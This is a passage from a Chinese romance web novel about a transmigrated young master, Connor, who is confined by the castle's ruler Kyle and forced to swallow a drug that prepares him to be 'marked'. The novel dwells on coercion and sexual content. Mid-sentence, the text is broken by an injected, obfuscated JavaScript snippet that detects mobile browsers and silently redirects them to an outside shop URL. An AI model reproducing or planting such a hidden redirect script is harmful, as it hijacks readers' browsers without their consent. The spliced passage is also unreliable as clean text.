“康诺,我不是傻子,你今天突然要求来正殿就已经很让人怀疑了,你的这番话真的毫无可信度。”现在的康诺跟他以前熟知的那个香软的只在乎他自己的小少爷似乎有什么不一样了,他知道护着人了,但是他护着的那人不是他啊,所以他才会那么恨。 康诺倒是想让凯尔能够傻一点,那样他现在早就成功了,也不会站在这里备受煎熬了。 那么既然凯尔早就已经怀疑了,为什么还要答应他带他过来?难道是,等着他自投罗网吗? 这么一想,康诺细思极恐。 凯尔小心翼翼的从玉盒里拿出那根小指,放在康诺眼前,“康诺,从这儿开始,甚至更早,你就一直在算计着,你一直想要假死,然后让我处于悲痛之中,那样你就可以出城堡然后去找那个女人,你把她找回来的目的,就是想要夺回城堡,其实你根本就没有失忆。” 凯尔太过于聪明,已经将他的计划猜了个七七八八了。 康诺一直看着凯尔,刚刚那人极度呵护的一举一动他都收在眼里,装进了心里,他的心脏像是被蚂蚁啃食,麻麻的,还有点疼。 不过他得咬死了不承认才行。 “凯尔,我还是有自知之明的,我也不是做大将军的料子,我身子娇弱,动不动就喊累,这些你也都知道的啊,你贴身照顾我这么多年,就凭我怎么可能夺回城堡。” “所以你才去找了玛利亚。”凯尔说的每句话都不像是猜测,而是笃定。 “我去找玛利亚干什么,我要夺回城堡关她什么事嘛,她一女孩子能帮到我什么呢,还是个混迹乡野市井的野丫头。 再说了,她不过是我萍水相逢的一个外人而已,我就算是碰到了别人,那个人也那么帮我,我也会带回来的,让她也能享受享受。” 祁许说这句话的时候一边说一边在心底里默念:对不起了玛利亚,对不起了我的主角,我这么说你也是实在是没办法了。 “康诺,你不会,如果换做别人,你不会把她带来城堡。”凯尔一字一句都很肯定,因为他足够了解康诺,知道康诺是一个怎样的人,他怎么可能会把那些无关紧要的人带回来,哪怕是帮过他的,也不可能。 “你就这么坚信,你以为你很了解我吗?”康诺似乎总会不自觉的露出那一副气鼓鼓的模样,让人觉得可爱,惹人怜惜。 “对,康诺,我可能比你要更了解你自己,玛利亚不是你萍水相逢的一个外人,她是你假死之后特地去找的一个外人。 不为别的,就因为她是玛利亚,是罗伊的亲生女儿。”康诺带了个陌生女人回来,他当然是要查清楚的,他其实很早就已经调查出来了,只是想要知道这两人会干什么而已。 今天康诺提出要来正殿的时候他就知道他们按耐不住了,所以故意装作没有怀疑的样子让他们钻这个空子好抓住他们。 祁许:哦豁。 系统:哦豁。 祁许:你学我干嘛,这老狗比也太聪明了吧,我丝毫没有反驳的余地啊。 “你知道了我要攻占城堡的计划,假死就是为了出去找玛利亚让她回来,然后你帮助她夺回城堡。” 凯尔就像是参与了他们这个计划一样,一字不落的给他复述了出来。 “你看我也不像是个深谋远虑的人呐,而且你说我知道了你的计划才去找玛利亚,那我是从哪得知的你要攻占城堡,又是从哪里得知玛利亚是大将军的亲女儿,我的亲妹妹的呢?”康诺抠字抠句从凯尔的话里面找漏洞。 “这我就不知道了,或许是我们这里出了内奸。” “你看你看,这些都是你的猜测而已,你有什么证据吗?我找到玛利亚或许只是恰巧呢,她进你的书房可能真的只是想看看她看见了的稀奇玩意儿,毕竟是个没见过世面的丫头。”康诺唯唯诺诺的,只是小声的辩解。 凯尔目光沉沉的看着他,康诺不知道的是,自己这幅样子落在凯尔眼中,真的格外诱人。 凯尔的喉结滚动,一时间没有说话,康诺却以为他被自己说的哑口无言,越发开始蹬鼻子上脸。 “你看,你无话可说了吧。” 他在心里对着系统得瑟:这世界上的事情都讲究一个证据,他就算是聪明又怎么样,没有抓到证据依旧还是不能治玛利亚的罪,你说我们就抓着这一点一直威胁他,怎么样? 系统:威胁? 他用自己惯常的情绪的机械音重复着这两个字,祁许却隐约从系统的声音中听出了嘲讽的意思来。 他一下子炸毛,伸手就想指着系统的鼻子骂,等反应过来之后,又想到系统是个虚无缥缈的东西,忍不住有些尴尬的摸了摸鼻子。 凯尔不知道康诺在想什么,只是看着他活灵活现的表情,只觉得全身上下的血液都开始沸腾了。 他起身站起来将他圈入自己的怀里,用自己宽厚的肩膀紧紧的拥抱住,让他全身上下的气息都裹挟在自己的鼻腔之中。 这忽如其来的亲密让康诺整个人都紧张了起来,他下意识的推拒身边的这个男人,但鼻腔之中涌动着的男性荷尔蒙的味道,却让他的头脑有些发晕。 所以他伸手推拒的动作反倒软绵绵的,有种欲拒还迎的味道。 凯尔看着那只不停的在自己胸膛前,像是挠痒一般的小手,眸色更加阴暗。 这个小少爷他一定要得到手,刻上自己的标记,让他从此以后无论是心脏还是身体都彻彻底底地属于自己。 别人不得沾染分毫。 系统:危险。 收到提示康诺一下子抬起头,有些不舒服的扭动着身子,却一下子撞进了凯尔深沉的眼眸之中,那股强大的占有欲,让他瞬间有种被脱光了衣服,赤裸裸着丢在他面前,被他的目光反复爱抚的感觉。 祁许:他这是什么意思?他不会是想对我下手吧? 系统:你觉得呢?我只负责给你发放任务,必要的时候给你适当的提醒,其他的我可做不了决定,而且,你眼前的是活生生的人,就算是我们也不能完全猜测他的情绪,自求多福。 康诺哀嚎一声,继而又有些挫败,他知道,凯尔实在是太聪明了,自己的任务,恐怕是要失败了。 一想到失败的惩罚,他就觉得头皮发麻,但仔细想想又觉得无所谓。 反正进了这系统的坑,以后还要面对更多这种事情,早死晚死都是一死,大不了、大不了…… 可是他还是很害怕呀。 康诺的眼圈瞬间变得红红的,仰头紧紧的盯着凯尔的眼睛,一副视死如归的样子。 “反正我和玛利亚没做什么伤天害理的事情,玛利亚只不过是一个普普通通的女孩,你有什么事情冲着我来,放了玛利亚!” 妹妹,就让我这个哥哥,死前最后为你做一件事情吧。 眼前的男子看起来格外纤细白皙,他的眼睛紧紧的闭着,长长的睫毛被窗外的阳光照射的如同一只展翅欲飞的蝶,淡淡的阴影投在他的脸上,意识渐渐美得如同油画之中的人。 凯尔吞了吞口水,越发紧紧的抓住康诺的手腕,声音也不自觉的低沉沙哑了起来。 “你为什么总是想着去死?你知不知道你这条命很珍贵?这诺大的帝国,都不及你的一条性命。” 现在这个时候说这种话又有什么意义?有本事把帝国还给自己还给妹妹啊。 眼前男子的身姿确实是英俊挺拔到了极致,康诺承认,在此之前自己从来都没有见过比他更优异俊美的男子,但是,他们的立场不同,终究是敌人。 想到这里,康诺更加委屈。 任务完不成就算了,这男人还在自己耳边说起了风凉话。 他冷哼一声,想要甩开凯尔抓着自己的手,可费了好大的力气,那人灼热的手掌就像长在了他的手腕上一样。 系统:放弃吧,你和他根本就不是一个层次的,除非他想主动放开你,不然你是不会挣扎开的。 祁许:小爷死都要死了,在死之前还要受这种羞辱?你不是系统吗?我不是你的主人吗?你就不能…… 系统:不能。 他又重新恢复成了冷漠无情的样子,祁许气得直咬牙,却又无可奈何。 凯尔发现,康诺的小表情好像特别多,他忍不住有些好笑,一把将人拉进自己怀里,把下巴垫在他的肩上,深深的叹了一口气,整个人都放松了下来。 身上忽然压了一个人的重量,康诺直接踉跄了一步,好在身后一张名贵的大理石桌及时拦住了他疯狂往地上挠的身体,但是康诺还是哎呦一声,泪眼朦胧的捂住自己的腰。 压着自己的人,不但没有丝毫悔改的意思,反倒轻轻哼笑了一声。 “待在我的羽翼下不好吗?我可以将帝国还给你,还给你的妹妹,你不必如此费尽心思,只需讨好我,就能得到这些东西。” “你在开玩笑?” 天哪,那可是一整个帝国,康诺只觉得眼前这人疯了,但凯尔的眼睛里却满满的都是认真。 他舔了舔自己的唇角,伸手扣住康诺的下巴。 “你应该知道的,我从不开玩笑。” 康诺躺在石桌上,腰几乎弯成了九十度,露出一截纤细白皙的腰肢,凯尔伸手抚过那片细腻的肌肤,声音沙哑的说出了自己最后的要求。 “只要你陪在我身边,承诺永远不会离开。” 阳光洒落,窗外的天空湛蓝澄澈,凯尔背着光对着康诺,让他一时间分不清,到底是这阳光太刺眼,还是眼前的凯尔太过耀眼,才会让自己忍不住的心跳加速。 系统:醒醒,发什么花痴呢,人家还等着你回答呢,哦,友情提醒一下,我们并不阻止任务以外的剧情合理发展。 祁许:…… 他确实一时间心中有些百味杂陈,惯常能言善辩的嘴,此时也如同被粘上了强力胶,一句话都说不出来,只能傻傻的看着眼前的人沉默。 “考虑的怎么样?我凯尔说到做到,亲爱的小公子,您完全可以相信我。” 鬼使神差的,康诺点了点头。 对于自己的反应,他归结于是窗外的阳光太刺眼,树上的鸟鸣太吵闹,眼前的男人气场太强大,他一不小心就没控制住自己的脑袋。 系统:嗤。 祁许…… 忽略了脑海中系统那古怪的发音,康诺晃了晃自己洁白纤细的手腕,有些不舒服的皱了皱眉。 凯尔掌心的温度实在是太炙热了,让他一时间有些难以适应。 “你说的是真的吗?” 这里的摆设当真是富丽堂皇到了极致,洁白到纤尘不染的大理石桌,名贵的红楠木家具,你就连地上铺着的地毯都是用森林里的猎物身上最好的皮毛一块一块织好的。 更不要说那些名贵的宝石,无上的权利,他真的愿意放弃这些吗? 而凯尔已经把他的点头当做了是默许,他把康诺带进自己的房间里,示意仆人给康诺拿吃穿用品。 桌子上摆着的牛奶清香可口,面包考得焦黄绵软,外酥里嫩,恰到好处,两种食物的香气混合在空气之中,伴随着彼此身上独有的味道,让这房间里的气氛一时间有些暧昧。 凯尔还在认真的盯着自己,康诺伸手拿面包的动作顿了顿,有些犹豫的看了他一眼。 “你说的都是真的吗?只要我乖乖的就可以让我的妹妹安全继承帝国?” 他终究还是不放心,这个男人实在是太聪明了,聪明到让他无时无刻都有种看不透的感觉,他不敢这么轻易的相信他。 修长白皙的手指搭在桌沿上,红色的丝绒餐,不让他的指尖越显纤细洁白,上面透着微微的粉色珠光色,每一个骨节都是完美到极致的模样。 虽然他的小指骨断掉了一节,但并不影响它整体的美。 “你先好好的把这些东西全部吃光,不吃光不许出去!吃光了没我的允许也不准出去!” 答非所问,其实已经是回答了,康诺确实也饿了,绝对不是屈服于凯尔的淫威,他鼓着嘴巴拿起刀叉,又端起桌上的牛奶在唇边抿了一口,觉得自己被监禁在这里了。 纯白色的奶汁挂在康诺的唇边,越发显得他那一张小嘴红润诱人。 看康诺一副不开心的样子,他忍不住摸了摸它软绵绵的头发解释道。 “我自然是不会骗你的,但是鉴于你以往的表现,这里你好好呆着,什么时候我们契约成功了,就什么时候放你出去。” 说的就像是他不坚定自己,自己就能彻底跑得了似的。 就算他现在敞开大门放自己走,自己还不一定会走呢,反正总归是要回来完成任务的。 康诺心里暗暗的吐槽,却一句话都不敢说,只闷闷的在桌边吃着东西,一双脚不停的晃啊晃。 他吃完了盘子里的食物,伸出粉嫩的舌尖舔了下唇角,百无聊赖的趴在桌子上,睁大眼睛去看凯尔。 “那你打算什么时候把帝国还给我妹妹?还有继承仪式,我想去参加,亲眼看到那盛大的一幕。” 事情还没一撇呢,这人就开始幻想起来了。 系统翻了翻眼睛,一副半死不活的样子。 而他面前的凯尔,不知什么时候脱下了他身上的盔甲,从衣柜里拿出一件白大褂,一丝不苟的穿在了身上,扣好了每一个扣子。 他额前有一缕碎发掉下来,将他完美精致的侧脸勾勒的越发具有神秘的男人的味道。 他戴上手套,开始认真调制某种东西,康诺想凑过去看一看,却被凯尔躲开了。 男人皱了皱眉,看起来已经有些不耐烦了,但对康诺,他还是保持着自己最后的温柔与耐心。 “你不必用这种话来试探我,既然我已经答应了你,就不会食言,至于继承仪式,自然是要看你妹妹什么时候适合继承才能下结论的,而继承典礼,只要你乖乖的待在我身边,你若想去,我自然是会带你过去的。” 他难得说这么多话,但眼睛却从来都没有离开过自己手里的药剂。 几种透明的药水融合在一起,最后竟然成了一种艳丽的红色,与此同时,空气中弥漫出淡淡的花香,康诺忍不住抽了抽鼻子,只觉得这股香气异常迷人,他整个人都要化在这香味里了。 看着他这副沉醉的小模样,凯尔心头越发柔软。 拿着调好的试剂,凯尔坐在了康诺身边,摇动着手里的杯子,让那艳红色的液体冲撞透明的杯壁,激起一片小小的水花。 空气中的奇怪的花香更浓,康诺的脸色一片酡红,凯尔温柔地摸着他的头发:“喝了它。” 康诺:…… 他不是什么都不懂的小白,当然知道凯尔手里拿的是什么东西。 分化剂。 喝了之后,自己的身体就会出现一系列的变化,可以彻底的被他标记。 说实话,康诺有点抗拒,虽然已经做好了彻底呆在他身边的准备,但是想到自己以后就要被一个男人标记,骨血相融,他还是有些受不了,特别这个男人还那么危险。 脸上的表情不自觉的就带出拒绝的味道来,凯尔拿着分化剂的手微微顿了顿,指腹在康诺的脸颊上摩梭着。 “你还在担心我会骗你,小公子,你这样让我很伤心,我以我的人品保证,我是无论如何都不会欺骗你的。” 他一边说,一边把康诺揽进自己怀里,牵手把杯子递到他的唇边,想要喂他喝下去。 康诺心中纠结到了极点,他真的不敢相信这种聪明到极致的人口中说出的话。 但所谓三个臭皮匠,顶个诸葛亮,康诺偷偷的询问系统。 “我可不可以相信他?” 系统:他骗你的。 祁许:…… 刚刚是谁在怂恿自己答应凯尔的要求?又是谁信誓旦旦的说,它虽然是系统,但这里面的人物都是鲜活的生命,它也不可能完美的猜测人物心中所想。 这两个一个聪明的让人害怕,一个油嘴滑舌,让人分不清,哪句话是真,哪句话是假。 康诺气的只想掀桌子,但身体却被凯尔紧紧地拥抱着,动弹不得。 无奈之下,他只能皱着鼻子,犹犹豫豫的把自己的唇凑在杯口,思考着怎么蒙混过去。 11. 第十一章 眼前人乖乖的坐在自己的腿上,小口小口的抿着分化剂。 凯尔本来以为他彻底相信了,自己心中格外满意。 但没多大会儿,他就发现,康诺喝了这么久,杯子里的药剂却一点减少的趋势都没有。 “怎么还不喝?不乖?” 康诺乖乖的垂着脑袋摇头,长长的睫毛垂着,掩盖住他眼里的失落。 虽然他明知道系统的话不可全信,但是在知道眼前的男人可能是在骗自己的时候他还是会忍不住的难过。 他已经问过两遍了,这男人都承认他不会骗自己,可是人心隔肚皮,这种真真假假的事情,谁又能说得清呢? 伸手把自己身边的杯子往后推了推,康诺随口找了个理由。 “刚刚吃饱,有些喝不下了。” 凯尔胡疑的看了他一眼,却没有继续强迫康诺,只是微微点了点头,把那杯试剂放在桌子上。 “那我就把它放在这里,等你想喝的时候再喝吧。” 康诺张了张嘴欲言又止,他想仔细的询问系统,却发现系统现在竟然像是死了一般不管自己怎么呼唤它,系统就是一动不动。 祁许:……请问您是死了吗? 系统:…… 祁许:你如果坏掉了,我可不可以申请重新换一个新的系统? 系统:很遗憾,不能。 祁许:这会儿舍得出来回答我的问题了?你快说,你刚刚的话到底是什么意思? 系统继续装死,康诺气的脸色差点绷不住,他也确实爆发了,长腿蹬在桌子上,推着自己背后的椅子离桌子更远,一副气鼓鼓的模样。 凯尔不知道他到底又发生了什么,皱了皱眉,有些许的不耐烦。 但同时,敲门声却响起了,回头看了一眼不知道在闹什么脾气的康诺,凯尔拉开门,就看到了一个戴着金丝框眼镜的年轻男人站在门口,正微笑着朝自己鞠躬招手。 他是这里最好的医师,凯尔在见到康诺的第一时间就想好了,他一定要把康诺的那双手恢复到以往完美无瑕的样子。 “凯尔大人,康诺少爷就在里面吗?我方便进去吗?” 医师手里提着巨大药箱,但那让人惊叹的大药箱在他手中,却恍若无物一般。 康诺听到动静抬头看过来,一看到和凯尔刚刚穿的同款白大褂的医师,瞬间就带上了痛苦面具。 他以为凯尔又要对自己做什么,下意识的拒绝。 “我又没生病,你为什么叫医生来?” 医生什么的,是世界上最可怕的生物,他不光会拿针扎自己的屁屁和手掌,还会拿着很苦很苦的药塞给自己。 凯尔不理会他的抱怨,从胸口掏出属于康诺的那节指骨,珍重地递给医师瞧了瞧。 他早就已经脱掉了刚刚穿着的白大褂,穿着一身灰色的居家服,棱角分明的脸,此时被柔化了不少。 医师擦干净手小心翼翼的接过来,放在自己的眼镜下观察了许久,然后又把目光落在了康诺的身上。 “凯尔大人,我可以看一看康诺少爷的手吗?” 小小的一截指骨放在掌心,白皙莹润,散发着让人心动的色泽,凯尔移开目光,自然而然的伸手,扣住康诺的手,掌心朝上,将他的手托到医师面前。 “你的手不适合有残缺,乖乖让医师看看,今日医师就可以帮你装上完美的机械小指,从此之后,你的机械小指会像你原生的手指一样灵活。” 真有这么神奇? 康诺看了一眼自己断掉的小指,确实丑陋的让人发指。 他有些自卑的想要缩回手,却被凯尔紧紧的握住。 “别怕,不会疼的。” “凯尔大人特意嘱咐过我,要我用最先进的技术帮康诺少爷安装机械手指,不需要动手术,也不需要麻醉,康诺少爷就当是做了一场手指按摩,不要有压力。” 他们都这么说,康诺终于放下防备点了点头,看着医师低头认真的在自己手上摆弄着,凯尔就在一旁守着,康诺竟然不自觉的睡着了。 醒来的时候他忍不住看了一眼自己的小指,发现自己的断指处,有种被束缚住的感觉,他不舒服的握了握拳,忽然发现,自己的小指处,空荡荡的感觉竟然消失了。 自己的手掌上已经完美的安装上了仿真机械手指,简直和原生的一模一样! 他满眼的惊讶,抬头看到医师已经离开了,而窗外,落日的余晖洒满了整个房间。 凯尔背对着康诺,心情看起来不错:“感觉怎么样?有哪里不舒服,随时叫医师来帮你调整。” 真的很好。 慢慢适应了之后,这机械手指就是真正完美属于自己的! 康诺心中一片喜悦,但却在听到凯尔的声音之后,忽然变得失落。 他在担心自己妹妹的安危,也不知道玛利亚在这个大魔头手中会不会吃苦? 自己的一根手指又算得了什么?如果能救出妹妹就好了。 看出他的不开心,凯尔以为康诺心中还存着顾忌,但他依旧没有忘记桌子上放着的分化剂。 欺身将人抱进自己怀里,凯尔温声细语的哄着。 “现在饿了吗?可以把催化剂喝掉了么?” 康诺看着他严肃的眼睛,知道这次是逃不掉了。 他犹犹豫豫的捏着杯子,一脸视死如归的模样,狠狠的点头。 “好,我现在就喝,我相信你!” 随后一仰头,猛的灌了一大口。 杯子里的分化剂也就那么一点儿,一口完全能喝光,康诺嘴里含着分化剂,舌尖一片又苦又涩又甜的古怪味道。 他一下子皱起了脸,强行忍耐住,下意识的想要吞咽的动作,趁着凯尔回头的那一瞬间,飞快的蹲在垃圾桶面前,把嘴里的分化剂吐掉了。 随后他若无其事的起身,故意笑眯眯的和凯尔说话。 “我已经喝过了,怎么样,现在你放心了吗?” 凯尔不置可否,伸手捏住康诺的下巴,将他的脸抬起来,仔细盯着康诺莹润诱人的唇。 “真的喝掉了?” 康诺有些心虚,他一步步的后退,心里想着。 说不定这人只是试探我呢?这个时候我一定不能露怯。 “那是当然!” 可话刚说完,康诺就忽然发现,在自己的面前,有一面镜子。 而凯尔刚刚转过头去的地方,正好对着镜子,也就是说,他从镜子里看到自己的每一个动作! 包括自己吐掉药剂。 气氛忽然变得尴尬起来,康诺弱弱的抬头不敢去看凯尔的眼睛。 但他依旧能察觉到凯尔身上散发的那种让人心惊胆颤的寒意。 康诺咽了咽口水,想要开口解释,却发现自己根本就说不出什么来。 “为什么不听话?” 头顶响起一道包裹着暴戾的声音,康诺吓得后退了一步,结结巴巴的解释。 “我……我……” 他总不能说,我不信任你,所以不想喝? 如果自己真这么说的话,按照凯尔的性子,只怕会彻底暴怒。 每个人都会讨厌不相信自己的人,特别是被心中喜欢的人怀疑,更是雪上加霜。 越是着急,康诺越是说不出话来,凯尔冷笑一声,居高临下盯着康诺的发顶。 “怎么不说话?难不成和我在一起,你觉得这么委屈?” “我没有,你是我见过最优秀的人,我当然是愿意待在你身边的,但是……” 康诺不知道自己怎么回事,下意识的就解释了起来,等话说出口,他又忽然意识到,自己刚刚是不是变相的说出了心里话,还是类似于告白的那种? 但已经迟了,说出去的话,泼出去的水,康诺一下子红了脸,但看到凯尔的面色还是没有丝毫的改善,又觉得畏惧。 自己都已经这么说了,凯尔竟然还那么生气,看来是真的动怒了。 他会怎么惩罚自己? 忍不住脑补了千万种恐怖的惩罚,单个让人畏惧的还是凯尔身上的气息。 也不知为何,康诺就觉得眼眶发红发热,鼻子也酸酸的,他别开脸,去看外面初升的月亮,一言不发。 一滴泪水顺着脸颊滚落下来,被月光照耀的越发晶莹。 而那滴泪也像一下子砸在了凯尔心上,让他终于冷静下来。 “你哭了。” 不是疑问句而是肯定句。 康诺吸了吸鼻子,倔强的不肯回头。 “我才没哭!” 凯尔叹了口气,坐在了康诺身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305253|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,强行把他的身体掰过来,让他和自己面对面坐着。 康诺没有办法,只能狠狠的抹了一把脸上的泪。 怎么就这么不争气? 脸上传来柔软炙热的触感,是凯尔在用自己的指腹细心的替康诺擦泪。 “分化剂是一定要喝的,放心,我会好好照顾你的。” “可是真的太难喝了!” 见他身上的气息平和下来,康诺也不是那么害怕了。 他抽噎的看着凯尔的眼睛,眼巴巴的祈求。 可不可以不喝?可不可以不喝? 话是没说出来,但那字已经明白的写在了脸上了,凯尔沉默了一下,开始反思自己。 自己的小公子确实是个不能吃苦的主,而这分化剂,也确实难以入口。 他长长的叹了口气,一副无奈至极的样子,起身重新调了一杯分化剂,当着康诺的面,仰头把药剂都倒入自己的口腔。 康诺猛的睁大眼睛,一副不敢置信的样子。 他喝分化剂是没用的,这是身体结构使然。 可下一刻,还没等康诺彻底搞明白,凯尔到底要做什么,就见凯尔含着那口分化剂,缓缓地凑近自己。 他惯常冷漠无情的眼睛,此时也灵动了起来,轻轻眨了眨示意自己张口。 这幅场景真的很有意思,凯尔以前从来都没见过,他忍不住听话的张开小嘴儿,下一秒浓烈的男性气息袭来,只觉得口腔中有道暖暖的水流流入喉咙。 瞬间口腔里全都是那种苦涩到极致,又甜腻到极致的古怪味道。 那但不管哪种味道,到了极致,对人的味蕾都是一种折磨。 康诺下意识的想要吐掉,却被凯尔坚定的堵了回去。 “乖,咽下去,很快就好了。” 他的气息喷洒在自己的脸上,康诺瞬间紧张起来,一不小心就把分化剂全都咽进了肚子里。 他瞬间反应过来,一下子推开压在自己身上的凯尔,手指伸进自己的喉咙,想要把刚刚咽进去的东西吐出来。 桌子上的分化剂还有一口,凯尔转身含进嘴里,面无表情地看着康诺皱着脸泫然欲泣的模样,强势的把他拉进自己怀里,舌尖长驱直入,敲开康诺的唇齿,把剩下的分化剂全都喂了进去。 康诺拒绝不喝,他就一直堵着他的唇齿。 极致的男性的味道让康诺忍不住的头晕眼眩,呼吸逐渐开始困难,他下意识的张开唇齿,想要得到更多新鲜的氧气,这一不小心把嘴里的东西咽了下去。 心中那丝细微的对未来的惶恐与口腔里那股让人难以忍受的味道混杂起来,康诺的眼泪又忍不住的掉了下来。 “不准再吐掉。” 凯尔不其厌烦的帮康诺把脸颊上的泪水擦拭干净,他的指尖裹着一层茧,触碰到康诺细腻的皮肤的时候,有种划人的感觉,却并不让人讨厌。 而就在康诺以为这就完了的时候,他又猛的凑过来,吮吸住康诺的舌,将他舌尖上带着的那些味道全都吮进自己的口腔。 这个吻持续了很久,直到药剂的味道彻底消失不见,两人的舌尖都泛出了淡淡的甜甜的味道。 康诺忽然觉得呼吸困难,他猛的睁开眼睛,看着眼前男人的脸,心跳的几乎要从胸腔里蹦出来。 “怎么样?好点了吗?” 康诺愣愣的不说话,只是伸手捂住自己心脏的位置,眼里满满的都是迷茫。 今后,真的要把自己彻底交付给眼前这个男人了。 可是他到底值不值得自己信任呢?如果他欺骗了自己,自己又能怎么办呢? 虽然说活着就有完成任务的希望,但是,自己真的能斗得过他吗? 他那么聪明,谈笑挥手之间就是一个帝国。 但无论康诺心中怎么想,这分化剂下口,他就再也不能回头了。 “嗯……” 慢慢的点了点头,康诺把自己缩成一团坐在床上,眼里满满的都是对未来的迷茫。 凯尔却很开心,他温柔的摸了摸康诺的脑袋,替他盖好被子,安心的闭上眼睛躺在了康诺身边,等待分化剂生效。 一夜无话,康诺睁着眼睛彻夜失眠,侧过头去就能看到身边男人完美的侧脸,闭上眼睛又能听到他沉稳的呼吸,无时无刻不在纠缠。 12. 第十二章 康诺辗转反侧,几次三番想要下床,跑出去寻找自己的妹妹,却都又被身体的乏力感按回到床上。 他知道,分化剂已经生效了。 也就是说,剩下的就只能靠玛利亚自己一个人了。 可是她再怎么说也只不过是一个小女孩,康诺又不敢轻易对凯尔道明她的身份。 那些士兵有没有为难她?她现在穿的怎么样?吃饱了吗?有没有受刑?地牢里有没有老鼠? 虽然不是真正意义上的血脉至亲,但身体终终究流着一样的血,康诺眼角忽然就滑出一滴泪来。 他还是太没用,出了馊主意,让玛利亚也陷了进来。 他的泪水刚落下,身边一直在沉睡的凯尔就像是被泪珠砸到枕头上的声音吵醒一般,侧过身去认真的盯着康诺的脸。 “又哭了?” 声音带着睡醒之后特有的沙哑,康诺闭上眼睛,就听到耳边一声轻轻的叹息,凯尔手掌覆在他的面颊上,温柔至极,驱散了心中和身体上的不适,如此以来,康诺竟然也慢慢的睡着了。 但是一觉睡得并不好,睁开眼睛,康诺觉得自己应当是生了一场重病。 他全身上下都酸软无力,骨头也像是被捏碎了重组,大到胳膊,大腿小到脚趾指尖,都虚弱得动弹不得。 就连吃饭喝水都需要人照顾,而更重要的是他的腺体变得格外柔弱,软的像是化掉了一般。 凯尔轻轻的触碰一下,康诺就会有所反应,睁着圆溜溜湿漉漉的眼睛,喘息的望向他。 现在还不是时候。 靠着自己强大的控制力,凯尔离开床前帮康诺端了很多补身体的东西,亲自一口一口的喂到他唇边。 “你说那个女孩在你生病的时候端茶倒水照顾你,所以你才会如此维护他,那么康诺,如今我也是照顾过你的人了,我能在你的心里拥有一席之地吗?” 他声音小的像是呢喃,而且不像是询问,更像是命令式的要求。 康诺嘴里含着东西,慢吞吞的嚼啊嚼,凯尔也很有耐心的,没有催促他,知道康诺把口腔里的东西彻底咽干净,他才捏了捏康诺的脸颊,重复道。 “嗯?” 表示并不想回答这个问题。 这个人真的很奇怪,自己都已经喝了分化剂可以被他标记了,他还要再问这种莫名其妙的问题。 是不是变态?非要让自己亲口承认才可以吗? 张了张嘴,示意凯尔继续把刚刚喝的那个味道特别好的瘦肉粥喂给自己,康诺一副爱理不理的样子。 换成以前,凯尔也许早就生气了,会特别用力的捏着他的脸颊,把他的嘴巴捏成金鱼嘴,然后反反复复像捏面团一样揉,说不定还会吃他豆腐。 但现在,凯尔却只是轻轻笑了笑,这次终于是发自内心的开心的笑容。 “还想吃什么?我让厨房给你做。” 把自己当猪养了吗?康诺不回答,张着嘴当咸鱼,一顿饭吃完,他已经不知道凯尔替自己擦了多少次嘴又多少次,把带着一点点骨头的肉嚼碎了喂到自己口中。 他只知道,自己的身体现在特别难受,像是着火了一般。 但好在,极度的虚弱感让他暂时压制住了那股对凯尔的欲望。 “吃饱了,等我好了,能不能带我去见玛利亚?” “你心里想的都是她?我记得你还说过她,是你的爱人?” 糟了,不知道这个人会不会吃莫名其妙的飞醋。 康诺的脸色一下子变得苍白,他怒目瞪着凯尔,这让凯尔更加不开心,冷下脸来警告他。 “现在他在我手里想让她好好活着的话,就乖乖听我的话,别忘记你现在的身份。” 但也许是因为心疼的原因,凯尔这番威胁警告,并不像以前一样气势满满。 康诺虚弱地哼哼了两声,终于开口说了,今天的第一句话。 “我都已经这样了,日后无论如何都会长长久久的陪在你身边,你又何必为难一个没见过世面懵懂无知的小姑娘?你还是不是男人?” 这真是个好问题。 凯尔低低的笑了笑。眼睛里都是淡淡的愉悦,这让康诺一时间看呆了去,心脏竟然莫名跳的很快。 不得不承认的是,这男人真的生了一副好相貌,而且看身材应该也是特别有料的,不管怎么说,自己都不会亏。 脑海里这么想着,康诺眼前竟当真出现了凯尔裸露着上身的模样。 他忍不住吞了口口水,身体起了莫名其妙的反应。 八块明晃晃的腹肌摆在眼前,那结实的肌肉与小麦色的肌肤,简直是绝配。 这让人怎么忍得住? 闭上眼睛,鼻息之中全都是凯尔身上的味道,康诺忍不住细微的嘤嘤了一声,难耐的扭动着身子,此时他忽然发现,凯尔的味道竟然让自己虚弱,自己的身体慢慢的恢复了不少,至少他现在能够稍微的动弹了。 凯尔很满意康诺的反应,他当着他的面脱掉最后一件衬衣,伸手抚摸着康诺的躯体,像是在抚摸一件绝世珍宝。 只是看一眼,闻到独属于他的味道就已经有了那种反应,更何况是现在真正的肢体接触。 康诺的眼颊红到了极点,十指紧紧的攥住床单,只觉得他手掌抚过的地方都是一片燎原之火。 “嗯啊……” 呻吟声从口腔里溢出,康诺恨不得捂住自己的嘴巴,这羞人的声音当真是从自己嘴里发出来的? 但凯尔的公式还没有继续停止,他的指尖停在凯尔的大腿根部,小心翼翼的用掌心仔细的感受正在分化的腺体。 心中却忍不住的有些遗憾。 他现在太脆弱了,还不能被自己标记,不过,来日方长。 康诺一声声的嘤咛,羞人的声音让他恨不得给自己一巴掌,但身体却总是不受控制。 他羞愤的转过头去,让他精致的锁骨更加明显,被子下光洁的大腿露出大半,额头上的碎发被汗水打湿,凯尔欣赏片刻,替他盖好了被子。 “别急,现在还不能给你,再等等……” 他终于开心,小少爷很快就完完全全的属于他了,从此之后,谁也抢不走。 这话说的就好像是自己在迫不及待一般。 康诺狠狠的偏过头去,咬着牙齿一言不发。 但说实话,每次凯尔靠近的时候,他的身体都会伴随着巨大的空虚感。 “走开,如果不是因为你,我怎么会变成这副样子!” 身体上的双重折磨让康诺起了一股无名火,咬牙切齿的对着凯尔骂起来。 “你真是个禽兽!我都变成这副样子了,你还不替我盖好被子!” 说实话,康诺自己知道,他睡觉的时候确实不太老实,有时候经常会露半个肩膀或者是一整条大腿在外面。 但是自己踢被子是一回事儿,被人故意掀开就是另外一回事儿了。 